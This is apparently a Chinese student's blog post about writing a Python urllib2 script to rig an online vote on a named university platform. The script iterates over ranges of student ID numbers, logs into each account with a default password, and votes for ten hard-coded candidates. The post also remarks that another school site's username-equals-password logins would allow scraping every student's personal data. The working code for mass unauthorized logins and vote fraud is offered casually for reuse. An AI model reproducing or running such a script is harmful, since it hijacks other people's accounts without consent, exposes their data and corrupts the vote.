今天一同學找到我問我會不會寫刷票的軟件,因爲這個投票活動有別的學院的人用腳本刷票了
我想,天哪,我們計算機學院都還沒用腳本呢都被外院搶先了= =
所以研究研究動手寫一下
還是老方法,登陸一下抓下包就搞定了- -登陸賬號是學號,密碼默認值好多好多人都沒有改。(所以你用個腳本登陸這個平臺抓個人信息也是能抓一些的,我看了看倒沒什麼敏感信息。ps:之前學校體測網站,默認密碼並不是身份證後六位,而是用戶名和密碼一樣,你要是有心去爬,全校所有人的身高體重等信息都能抓下來)
這個post方法就是我們要找的了,返回的狀態碼還是302重定位的呢- -當然你要是登不上去就是200
果不其然又是明文啊,但是最後的__hash__是哪來的,還得費一番功夫找一找。
我一開始以爲是在網頁的源代碼裏面用某種hash函數生成的。所以就直接搜hash,但是並沒有找到,我就懵逼了(這裏是個大坑,最後再講,我是寫完了代碼之後又去研究了研究才知道問題出在哪),然後百度了半天沒有所以然,正當我一籌莫展的時候同學說有個大神給他寫過一個py代碼了,就是他運行着有點問題= =我說那感情好你直接給我看看
一看倒挺好,人家params裏面都沒有寫這個,那就先不管了。
看了看發現人家代碼直接就能跑= =(當時我在想要我有什麼用),不過連判斷有沒有登陸成功以及票是否投過了的判斷都沒有,只是寫了post的代碼,所以就幫忙加點東西上去好了= =
我之前用過requests,但是這個庫要另外安裝,發給別人用別人裝起來也麻煩,大腿正好拿的urllib2寫的,我正好學習學習。
先從另一篇文章引用過來一些講解,http://www.cnblogs.com/sysu-blackbear/p/3629770.html
然後寫個用POST方法來訪問網站的方式(用urllib2模擬一起post過程):
#! /usr/bin/env python
#coding=utf-8
import urllib2
import urllib
import cookielib
def login():
email = raw_input("請輸入用戶名:")
pwd = raw_input("請輸入密碼:")
data={"email":email,"password":pwd} #登陸用戶名和密碼
post_data=urllib.urlencode(data) #將post消息化成可以讓服務器編碼的方式
cj=cookielib.CookieJar() #獲取cookiejar實例
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
#自己設置User-Agent(可用於僞造獲取,防止某些網站防ip注入)
headers ={"User-agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
website = raw_input('請輸入網址:')
req=urllib2.Request(website,post_data,headers)
content=opener.open(req)
print content.read() #linux下沒有gbk編碼,只有utf-8編碼
if __name__ == '__main__':
login()
對比着大腿先寫好的代碼一看,就明瞭了:
import urllib2
import cookielib
pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]
for sno in range(8153200, 8153400):
# create cookie
cookieJar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
# login
params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=xxxxxx&login=%E7%99%BB+%E5%BD%95'
req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
page = opener.open(req)
for id in pid:
# vote
params = 'id=160367&pid=%d' % id
req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
page = opener.open(req)
print sno
新學到了好多知識喲,下次我也能用urllib2寫了。
不過還是放一下怎麼找到投票的地方吧,雖然大腿寫過了不過我也去驗證了一下。
這個就是投票的post了
下面的pid就是候選人的代碼,打開有候選人的網頁直接看html源碼就能找到這個pid
投一票成功了就是這樣
所以我做的也就是寫點判斷語句,首先是能否登陸成功,再看票是不是投過了,沒投過就投一下就行了- -
附上代碼,
# coding=utf-8
import urllib2
import cookielib
import re
pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]#候選人的ID
sum0=0#成功投票的人數
def Vote():
for id in pid:
# vote
params = 'id=160367&pid=%d' % id
req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote", params)
page = opener.open(req)
for sno in range(8143131, 8143200):
print sno
# create cookie
cookieJar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
# login
params = 'school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0' + str(sno) + '&password=111111&login=%E7%99%BB+%E5%BD%95'
req = urllib2.Request("http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin", params)
page = opener.open(req)
m=re.search(r'中國礦業大學大學生實踐成長服務平臺',page.read())#判斷能否登陸成功
if m:
print '登陸成功'
else:
print '登錄失敗'
req=urllib2.Request('http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=index&id=160367')
page=opener.open(req)
m1=re.search(r'票已投完',page.read())#判斷是不是可以投票
if m1:
print '該賬號已投票'
else:
Vote()
print '投票成功'
sum0+=1
print "成功投票%d人"%sum0
運行效果再給你們講一下神坑,因爲抓包的時候打開頁面以後我就把之前的都清理了。後來不清了,發現當你打開頁面的時候
神特麼放在這裏,真是有病